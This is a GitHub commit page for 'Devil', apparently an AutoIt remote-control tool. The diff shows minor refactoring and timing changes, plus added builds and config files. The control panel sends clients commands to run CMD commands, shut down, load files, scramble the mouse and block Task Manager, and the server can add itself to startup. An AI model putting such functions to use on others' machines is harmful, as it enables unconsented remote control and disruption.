Skip to content

Commit

Permalink
Some fixes and optimizations
Browse files Browse the repository at this point in the history
  • Loading branch information
Kirlovon committed Nov 25, 2018
1 parent 1d3a0ab commit ca2cf15
Show file tree
Hide file tree
Showing 10 changed files with 41 additions and 30 deletions.
2 changes: 2 additions & 0 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
{
}
48 changes: 22 additions & 26 deletions Devil-ControlPanel.au3
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
Devil ControlPanel
AutoIt Version: 3.3.14.5
Version: Release ( 22:40 5.18.2018 )
Version: Release ( 22:35 25.11.2018 )
#ce ----------------------------------------------------------------------------

Expand Down Expand Up @@ -67,51 +67,40 @@ GUISetState(@SW_SHOW)

; Main Loop
While True
Sleep(10)
Sleep(5)
$GUICommand = GUIGetMsg()

LockGUI()
Switch $GUICommand
Case $GUI_EVENT_CLOSE
Terminate()
Case $ShowMessageBox_Button
LockGUI()
ShowMessageBox()
UnlockGUI()
Case $ExecuteToCMD_Button
LockGUI()
ExecuteToCMD()
UnlockGUI()
Case $SystemShutdown_Button
LockGUI()
SystemShutdown()
UnlockGUI()
Case $LoadFile_Button
LockGUI()
LoadFile()
UnlockGUI()
Case $CrazyMouse_EnableButton
LockGUI()
EnableCrazyMouse()
UnlockGUI()
Case $CrazyMouse_DisableButton
LockGUI()
DisableCrazyMouse()
UnlockGUI()
Case $BlockTaskManager_EnableButton
LockGUI()
EnableBlockTaskManager()
UnlockGUI()
Case $BlockTaskManager_DisableButton
LockGUI()
DisableBlockTaskManager()
UnlockGUI()
EndSwitch
UnlockGUI()

WEnd

; ------------------------------------------------------------------------------

; Show message box
Func ShowMessageBox()
$ClientID = GUICtrlRead($InputBox)

If $ClientID = "" Then
MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!")
Else
Expand All @@ -126,14 +115,15 @@ Func ShowMessageBox()
FileDelete($Server_Directory & "\" & $ClientID & "_temp")
FileSetAttrib($Server_Directory & "\" & $ClientID, "+H")
FileClose($Temp_DataFile)
Sleep(1000)
EndIf
EndIf

EndFunc

; Execute CMD command
Func ExecuteToCMD()
$ClientID = GUICtrlRead($InputBox)

If $ClientID = "" Then
MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!")
Else
Expand All @@ -148,14 +138,15 @@ Func ExecuteToCMD()
FileDelete($Server_Directory & "\" & $ClientID & "_temp")
FileSetAttrib($Server_Directory & "\" & $ClientID, "+H")
FileClose($Temp_DataFile)
Sleep(1000)
EndIf
EndIf

EndFunc

; Shutdown system
Func SystemShutdown()
$ClientID = GUICtrlRead($InputBox)

If $ClientID = "" Then
MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!")
Else
Expand All @@ -168,13 +159,14 @@ Func SystemShutdown()
FileDelete($Server_Directory & "\" & $ClientID & "_temp")
FileSetAttrib($Server_Directory & "\" & $ClientID, "+H")
FileClose($Temp_DataFile)
Sleep(1000)
EndIf

EndFunc

; Load file to the system
Func LoadFile()
$ClientID = GUICtrlRead($InputBox)

If $ClientID = "" Then
MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!")
Else
Expand All @@ -191,14 +183,15 @@ Func LoadFile()
FileDelete($Server_Directory & "\" & $ClientID & "_temp")
FileSetAttrib($Server_Directory & "\" & $ClientID, "+H")
FileClose($Temp_DataFile)
Sleep(1000)
EndIf
EndIf

EndFunc

; Enable CrazyMouse
Func EnableCrazyMouse()
$ClientID = GUICtrlRead($InputBox)

If $ClientID = "" Then
MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!")
Else
Expand All @@ -211,13 +204,14 @@ Func EnableCrazyMouse()
FileDelete($Server_Directory & "\" & $ClientID & "_temp")
FileSetAttrib($Server_Directory & "\" & $ClientID, "+H")
FileClose($Temp_DataFile)
Sleep(500)
EndIf

EndFunc

; Disable CrazyMouse
Func DisableCrazyMouse()
$ClientID = GUICtrlRead($InputBox)

If $ClientID = "" Then
MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!")
Else
Expand All @@ -230,13 +224,14 @@ Func DisableCrazyMouse()
FileDelete($Server_Directory & "\" & $ClientID & "_temp")
FileSetAttrib($Server_Directory & "\" & $ClientID, "+H")
FileClose($Temp_DataFile)
Sleep(500)
EndIf

EndFunc

; Enable block task manager
Func EnableBlockTaskManager()
$ClientID = GUICtrlRead($InputBox)

If $ClientID = "" Then
MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!")
Else
Expand All @@ -249,13 +244,14 @@ Func EnableBlockTaskManager()
FileDelete($Server_Directory & "\" & $ClientID & "_temp")
FileSetAttrib($Server_Directory & "\" & $ClientID, "+H")
FileClose($Temp_DataFile)
Sleep(500)
EndIf

EndFunc

; Disable block task manager
Func DisableBlockTaskManager()
$ClientID = GUICtrlRead($InputBox)

If $ClientID = "" Then
MsgBox($MB_ICONERROR, "Devil Control Panel", "You must enter the client's id!")
Else
Expand All @@ -268,8 +264,8 @@ Func DisableBlockTaskManager()
FileDelete($Server_Directory & "\" & $ClientID & "_temp")
FileSetAttrib($Server_Directory & "\" & $ClientID, "+H")
FileClose($Temp_DataFile)
Sleep(500)
EndIf

EndFunc

; Lock gui elements
Expand Down
7 changes: 3 additions & 4 deletions Devil-Server.au3
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
Devil Server
AutoIt Version: 3.3.14.5
Version: Release ( 22:45 18.5.2018 )
Version: Release ( 22:38 25.11.2018 )
#ce ----------------------------------------------------------------------------

Expand Down Expand Up @@ -36,7 +36,7 @@ HotKeySet("{PAUSE}", "RunControlPanel")
If $Config_AddToStartup = "True" Then
If Not FileExists(@StartupDir & "\devil_server.lnk") Then
FileCreateShortcut(@ScriptFullPath, @StartupDir & "\devil_server.lnk", @ScriptDir, "", "devil_server")
Sleep($Config_Speed * 10)
Sleep($Config_Speed + 300)
If FileExists(@StartupDir & "\devil_server.lnk") Then
MsgBox($MB_OK, "Devil Server", "Devil Server added to start-up!")
Else
Expand All @@ -49,7 +49,7 @@ EndIf

; Main Loop
While True
Sleep($Config_Speed)
Sleep($Config_Speed + 1)
$ServerData = ReadServer()

; Definition and execution of the received command
Expand Down Expand Up @@ -89,7 +89,6 @@ Func ReadServer()
FileDelete($Config_ServerPatch & "\" & $Config_ClientID)
Return $Data
Else
; So that the code does not produce errors
Local $Data = ["", ""]
Return $Data
EndIf
Expand Down
Binary file modified assets/preview.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added dist/builded_x64/Devil-ControlPanel.exe
Binary file not shown.
Binary file added dist/builded_x64/Devil-Server.exe
Binary file not shown.
7 changes: 7 additions & 0 deletions dist/builded_x64/config.ini
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
[Config]

ClientID=Client
ServerPatch=C:\
ControlPanelPatch=Devil-ControlPanel.exe
AddToStartup=False
Speed=50
Binary file added dist/builded_x86/Devil-ControlPanel.exe
Binary file not shown.
Binary file added dist/builded_x86/Devil-Server.exe
Binary file not shown.
7 changes: 7 additions & 0 deletions dist/builded_x86/config.ini
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
[Config]

ClientID=Client
ServerPatch=C:\
ControlPanelPatch=Devil-ControlPanel.exe
AddToStartup=False
Speed=50

0 comments on commit ca2cf15

Please sign in to comment.